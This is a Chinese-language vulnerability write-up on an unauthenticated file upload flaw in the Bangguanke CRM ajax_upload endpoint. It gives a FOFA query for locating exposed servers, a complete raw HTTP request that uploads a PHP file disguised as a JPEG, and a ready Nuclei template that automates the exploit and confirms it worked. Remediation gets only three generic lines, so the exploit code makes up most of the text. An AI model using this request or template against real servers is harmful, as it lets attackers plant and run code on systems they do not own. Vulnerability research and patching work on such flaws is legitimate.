帮管客CRM文件上传漏洞

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Ⅰ、漏洞描述

帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化.帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞，未经授权的攻击者可利用该漏洞获取服务器权限。

Ⅱ、fofa语句

app="帮管客-CRM"

Ⅲ、漏洞复现

POC

POST /index.php/upload/ajax_upload HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o ------WebKitFormBoundaryv1WbOn5o Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php phpinfo();unlink(__FILE__); ------WebKitFormBoundaryv1WbOn5o--

1、构建poc

2、访问

http://127.0.0.1/data//uploads//202402//202402022003581smuhnKHt.php

Ⅳ、Nuclei-POC

id: CRM-uploadfile info: name: 帮管客CRM ajax_upload_chat、ajax_upload等接口处存在文件上传漏洞 未经授权的攻击者可利用该漏洞获取服务器权限 author: WLF severity: high metadata: fofa-query: app="帮管客-CRM" variables: filename: "{{to_lower(rand_base(10))}}" boundary: "{{to_lower(rand_base(20))}}" http: - raw: - | POST /index.php/upload/ajax_upload HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1WbOn5o ------WebKitFormBoundaryv1WbOn5o Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php phpinfo();unlink(__FILE__); ------WebKitFormBoundaryv1WbOn5o-- - | GET data/uploads/{{path}}/{{path1}}.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 extractors: - type: regex name: path group: 1 regex: - 'uploads\\/(\w*)\\' internal: true - type: regex name: path1 group: 1 regex: - '\\/(\w*)\.php"' internal: true matchers: - type: dsl dsl: - status_code==200 && contains_all(body,"PHP")

Ⅴ、修复建议

1、请联系厂商进行修复；

2、如非必要，禁止公网访问该系统；

3、设置白名单访问。